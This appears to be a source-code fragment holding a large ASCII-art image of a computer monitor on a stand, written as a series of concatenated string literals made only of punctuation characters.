,,,)))))!!++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++!!))))),,, ", +" ,,,)))))!)++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++)!))))),,, ", +" ,,,)))))!)++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==================================================================#####################################+++)!))))),,, ", +" ,,,)))))!)++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;===========================+++)!))))),,, ", +" ,,,)))))!)++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================+++)!))))),,, ", +" ,,,)))))!)++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=============================+++)!))))),,, ", +" ,,,)))))!)++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==============================+++)!))))),,, ", +" ,,,)))))!)++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;===============================+++)!))))),,, ", +" ,,,)))))!)++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;================================+++)!))))),,, ", +" ,,,)))))!)++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;-&&&&%%%%%%&&&&-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=================================+++)!))))),,, ", +" ,,,)))))))++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-&%%%%%%%%%%%%%%%%%%%%%%&-;;;;;;;;;;;;;;;;;;;;;;;;;===================================+++))))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%&-;;;;;;;;;;;;;;;;;;;;;===================================#+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&-;;;;;;;;;;;;;;;;====================================##+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&-;;;;;;;;;;;;;====================================###+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%-;;;;;;;;;=====================================####+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%-;;;;;;=====================================#####+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;&%%%%%%%%%%%%%%%%%%&&&---;;---&&&%%%%%%%%%%%%%%%%%%&;;;======================================######+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>&%%%%%%%%%%%%%%%%&-;;;;;;;;;;;;;;;;;;-&%%%%%%%%%%%%%%%%&=====================================########+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;&%%%%%%%%%%%%%&&;;;;;;;;;;;;;;;;;;;;;;;;;;&&%%%%%%%%%%%%%&===================================#########+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-%%%%%%%%%%%%%&;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&%%%%%%%%%%%%%;================================##########+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>&%%%%%%%%%%%%&;;;;;;;;;;*.............-;;;;;;;;;;;&%%%%%%%%%%%%&=============================############+++,)))))),,, ", +" ,,,)))))),++#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;&%%%%%%%%%%%&;;;;;;;;......................;;;;;;;;;;&%%%%%%%%%%%&===========================#############+++,)))))),,, ", +" ,,,)))))),++#;;;;>>>>>>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;&*..&%%%%%%&;;;;;;;;;........................;;;;;=====;&%%%%%%%%%%&========================###############+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-*&.''.&&%%%&;;;;;;;;;..........................=;=========&%%%%%%%%%%&======================################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.**-''....%;;;;;;;;;;;...........................===========;%%%%%%%%%%&===================##################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...''--''.''.;;;;;;;;;;;;...........................=============&%%%%%%%%%&================####################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.*'.'''-''.''**;;;;;;;;;;.............................=============&%%%%%%%%%-=============######################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.''.'''-''.''-*&;;;;;;;;;.............................==============&%%%%%%%%%============#######################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.''*'''-''.''-*%&;..;;;;;.............................===============&%%%%%%%%%=========#########################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.''*'''-''*''-*%..*..;;;;..''''-'-*********--'''''''*.================&%%%%%%%%&======###########################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-.''*'''-''-''-&.*''..;;;;..''''''''''''''''''''''''''..================&%%%%%%%%*===#############################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%.''-''''''''''.-''..;;;=...'''''''''''''''''''''''''-..=================&%%%%%%%%=###############################+++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&%.'''''''''''''.'''.%&==....*-......*'''''''*......*-...==================%%%%%%%%&##############################++++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-%&.'''''''''''''.'''.%%&=.'-...........*'''*...........*-.==================%%%%%%%%=############################+++++,)))))),,, ", +" ,,,)))))),++#;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;%%&.''''''''''''-.'''.&%%&.''............*'-............''.==================&%%%%%%%%############################+++++,)))))),,, ", +" ,,,)))))),++#=============================-%%&.''''''''''''.*''*.%%%%.'-''..........'''..........-'''.================###%%%%%%%%*##########################++++++,)))))),,, ", +" ,,,)))))),++#=============================%%%&.''''''''''''''''.%%%%&.'-''..........'''..........''*'.=============######=%%%%%%%&#########################+++++++,)))))),,, ", +" ,,,)))))),++#============================-%%%*.''''''''*'''''''*&%%%%.-*''*........'''''........*''.'.==========##########&%%%%%%%=#######################++++++++,)))))),,, ", +" ,,,)))))),+++============================&%%%..'''''''.''''''''-.%%%%&.*'''-*....-'''''''-*...*''''.*========#############=%%%%%%%&######################+++++++++,)))))),,, ", +" ,,,)))))),+++============================%%%%..''''''-.'''''''''.%%%%%&*'''''*'''.''''''..'''''''''..=====#################&%%%%%%%#####################++++++++++,)))))),,, ", +" ,,,)))))),+++===========================&%%%%..''''''.*'''''''''.%%%%%&-'''-.'-....''''-.**-'*'''''.===#####################%%%%%%%&##################++++++++++++,)))))),,, ", +" ,,,)))))),+++===========================%%%%%&.''''''.'''''''''-*%%%%%&'''-**.*--'..''-.*-*..-.''''*=#######################&%%%%%%%#################+++++++++++++,)))))),,, ", +" ,,,)))))),+++==========================;%%%%%%.-'''''.-''''''''.=&%%%%&'''*.'''''''....''''''...-''-=#######################*%%%%%%%################++++++++++++++,)))))),,, ", +" ,,,)))))),+++==========================&%%%%%%*.'''''..'''''''*...*%%%.''.-'''''''''''''''''''-..-''.*...===#################%%%%%%%&##############+++++++++++++++,)))))),,, ", +" ,,,)))))),+++==========================&%%%%%%&..''''-.*''''-..........'''''''''''''''''''''''''-*'-............#############&%%%%%%&############+++++++++++++++++,)))))),,, ", +" ,,,)))))),+++==========================%%%%%%%==..-'''..............*..*'''''''''''''''''''''''''''*..*............=#########=%%%%%%%###########++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++==========================%%%%%%%====..................*...'''''''''''''''''''''''''''...................########%%%%%%%#########++++++++++++++++++++,)))))),,, ", +" ,,,))))),,+++=========================&%%%%%%&====.................*.....''''''''''''''''''''''''''.....................######&%%%%%%&#######+++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++=========================&%%%%%%&====.................*......''''''''''''''''''''''''.....*..................####&%%%%%%&#####+++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++=========================%%%%%%%*=====................*......*''''''''''''''''''''''...........................##*%%%%%%%###+++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################=%%%%%%%=#####........................*''''''''''''''''''''.............................##%%%%%%%#+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################=%%%%%%%#######................*........-''''''''''''''''*.....*.........................#%%%%%%%#+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################*%%%%%%%########................*.......*..-''*..-''''*.*.......*.........................%%%%%%%#+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################*%%%%%%&#########........................*!!),....-,)!,...................................&%%%%%%*+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################&%%%%%%&##########........................*!!......!!-...........*........................&%%%%%%&+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################&%%%%%%&###########=.............*.........-!.....-!-.........*..........................#&%%%%%%&+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################&%%%%%%&#############.......................,!....!-........-*..*-*..*.......*...........+&%%%%%%&+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################&%%%%%%&#############........................!....-.........----------...................+&%%%%%%&+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################&%%%%%%&#############...................*....*........*.....----------..................++&%%%%%%&+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################&%%%%%%&############......................*.........*.......----------..................++&%%%%%%&+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################*%%%%%%&############........................*...*...........----------.................+++&%%%%%%*+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++########################*%%%%%%%############..........................**.*..........*---------................#+++%%%%%%%*+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++#########################%%%%%%%############.........................................--------*................++++%%%%%%%#+++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++#########################%%%%%%%###########..........................................--------................+++++%%%%%%%++++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++#########################%%%%%%%###########...........................................------*...............+++++#%%%%%%%++++++++++++++++++++++++++++,,))))),,, ", +" ,,,))))),,+++#########################&%%%%%%*##########..............................*.............*---...............#++++++*%%%%%%&++++++++++++++++++++++++++++,,))))),,, ", +" ,,,)))))),+++++++++###################&%%%%%%&##########..............................*...............................++++++++&%%%%%%&++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++#############*%%%%%%%+++++++++#.............................*..............................#+++++++++%%%%%%%*++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++#%%%%%%%#++++++++..............................*..............................++++++++++%%%%%%%+++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++%%%%%%%&++++++++.........................*...................................+++++++++&%%%%%%%+++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++&%%%%%%%++++++++...........................**...*............................+++++++++%%%%%%%&+++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++*%%%%%%%#+++++++................................*............................++++++++#%%%%%%%#+++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++%%%%%%%&+++++++................................*............................++++++++&%%%%%%%++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++&%%%%%%%+++++++...........................***..*............................++++++++%%%%%%%&++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++#%%%%%%%&++++++.............................................................#++++++&%%%%%%%#++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++%%%%%%%%+++++#...............................*..............................++++++%%%%%%%%+++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++&%%%%%%%&++++#...............................*..............................+++++&%%%%%%%&+++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++%%%%%%%%++++...............................................................+++++%%%%%%%%++++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++&%%%%%%%&++++#.............................................................++++&%%%%%%%&++++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++%%%%%%%%#++++++........................................................*+++++#%%%%%%%%+++++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++&%%%%%%%%+++++++****................................................*%%%*++++%%%%%%%%&+++++++++++++++++++++++++++++++++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++%%%%%%%%&+++++#........********.....................*************..&%%%%&++&%%%%%%%%+++++++++++++++++++++++++++++@@@++,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++#%%%%%%%%*++++.....................###########......................%%%%%&#%%%%%%%%#+++++++++++++++++++@@++++@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++&%%%%%%%%#+++.....................###########......................%%%%%%%%%%%%%%&+++++++++++@@++++@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++++%%%%%%%%%+++....................############......................&%%%%%%%%%%%%%++++@@+++@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++++#%%%%%%%%%++....................++++++++++++#.....................*%%%%%%%%%%%%#++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++&%%%%%%%%%#....................+++++++++++++......................%%%%%%%%%%%*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++++++&%%%%%%%%&...................#+++++++++++++......................%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++&%%%%%%%*...................++++++++++++++......................&%%%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++++++++%%%%%%%*...................++++++++++++++#.....................*%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++%%%%&.....................++++++++++++++@......................%%%%%%%+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++++++++++%&.......................+++++++++++++@+........................&%%%+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++++++++++.................#......#++++++++@++@@@@@.........................*+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++#.............**#++++++++++++@+++@@@@@@@@@@@@#@@@@##.................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++++++&%%%%%%%%%%%%&+++++++@++@@@@@@@@@@@@@@@@@@@@@@@@&%%%%&&&&&****##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),++++++++++++++++++++++++++++++++++++++++++++++*%%%%%%%%%%%%%&#+++@@@@@@@@@@@@@@@@@@@@@@@@@#&%%%%%%%%%%%%%*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++++++++#%%%%%%%%%%%%%%%&#+@@@@@@@@@@@@@@@@@@@@+#&%%%%%%%%%%%%%%%#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++++++++++&%%%%%%%%%%%%%%%%%&*#+@@@@@@@@@@+#*&%%%%%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$$$@@@$$$$$,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++++++++++++&%%%%%%%%%%%%%%%%%%%%%%&&&&%%%%%%%%%%%%%%%%%%%%%%&#@@@@@@@@@@@@@@@@@@@@@@@@@@@$$$$@@$$$$$$$$$$$$$$$$$,)))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++++++++@++@@#&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&#@@@@@@@@@@@@@@@@@@@@@$$$$@$$$$$$$$$$$$$$$$$$$$$$$$$$))))))),,, ", +" ,,,)))))),+++++++++++++++++++++++++++++++++++++++++++@++@@@@@@@@#&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&#@@@@@@@@@@@@@@@@$$$@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$))))))),,, ", +" ,,,)))))))++++++++++++++++++++++++++++++++++++++++@++@@@@@@@@@@@@@#&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&#@@@@@@@@@@@@$$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$))))))),,, ", +" ,,,)))))))+++++++++++++++++++++++++++++++++++++@++@@@@@@@@@@@@@@@@@@+*&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&*@@@@@@@@@@$$@@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$))))))),,, ", +" ,,,)))))!)++++++++++++++++++++++++++++++++++@+@@@@@@@@@@@@@@@@@@@@@@@@@#*&%%%%%%%%%%%%%%%%%%%%%%%%&*#@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)+++++++++++++++++++++++++++++++@+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#*&&%%%%%%%%%%%%%%&&*#@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)++++++++++++++++++++++++++++@+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##########@@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)+++++++++++++++++++++++++@+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)++++++++++++++++++++++@++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)++++++++++++++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)+++++++++++++++++@+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)++++++++++++++@++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!)++++++++++++@+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$)!))))),,, ", +" ,,,)))))!!@+++++++++++@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$$@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!!))))),,, ", +" ,,,))))))!)>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>)!)))))),,, ", +" ,,,)))))))!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!))))))),,, ", +" ,,,)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))))))))))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))),,,))))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))))))))))))))),)))))))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))),))))))))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))),)))))!))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))),!)))),!)))),!))))))))!))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))),)!))),)!)),,)!)))))))!)))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))!!!)))!!))))!!)))))!!!))))))))))),,, ", +" ,,,))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))),,, ", +" ,,,,,,,,,,,,,,)))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,))))))),,,,,,,, ", +" --,,,,,,)))))),,,,,--- ", +" -,,,,,,))))))),,,,,,-- ", +" -,,,))))))!!))),,),,,- ", +" --,,))))))!!!!)),,),,,-, ", +" -,,,)))))!!!!!!)),),,,,, ", +" -),))))))!!!!!!))))),,,, ", +" -),))))))!!!!!!))))),,,, ", +" ,,,,)))!))))!!!!!!))))),,,,,,, ", +" ,,,)))!!!!),!!)!))))!!!!!!))))),,,,)!!!!))),,, ", +" ,,))!!!!!!!!!!),,!!!!))))!!!!!!))))),,,,,))!!!!!!!!!)),, ", +" ,))!!!!!))))))))))),)!!!!))))!!!!!!))))),,,,,)))))))))))!!!!!)), ", +" ,))!!!))))))))))))))))),)!!!!))))!!!!!!))))),,,,,))))))))))))))))))!!)), ", +" )))))))))))))))))))),,,,,,,)!!!!!)))!!!!!!))))),,,,,,,,,,,,)))))))))))))))))), ", +" )))))))))))))))),,,,,,,,,,,,,,!!!!!!))!!!!!!))))),,,,,,,,,,,,,,,,,)))))))))))))))) ", +" )))!!)))))))))),,,,,,,,,,,,,,,,,)!!!!!!)!!!!!!))))),,,,,,,,,,,,,,,,,,,,,)))))))))!!))) ", +" )))!!!))))))),,,,,,,,,,,,,,,,,,,,,,)!!!!!!!!!!!!))))),,,,,,,,,,,,,,,,,,,,,,,,,))))))!!!))) ", +" )))!!!!))),,,)))))))))))))))))))))),,,)!!!!!!!!!!!))))),,,,)))))))))))))))))))))))),,,)!!!!)) ", +" )))!!!!!))))))))))))))))))))))))))))),,,)!!!!!!!!!!))))),,,)))))))))))))))))))))))))))))!!!!!)), ", +" ,))!!!!!!))))))))))))))))))))))))))))))),,,)))!!!!!!))),,,)))))))))))))))))))))))))))))))!!!!!!),, ", +" ,,)!!!!!!!)))))))))))))!!!!!!!!!!!!!!!!))),,,,,,)))),,,,,,)))!!!!!!!!!!!!!!!!!)))))))))))!!!!!!!!)) ", +" 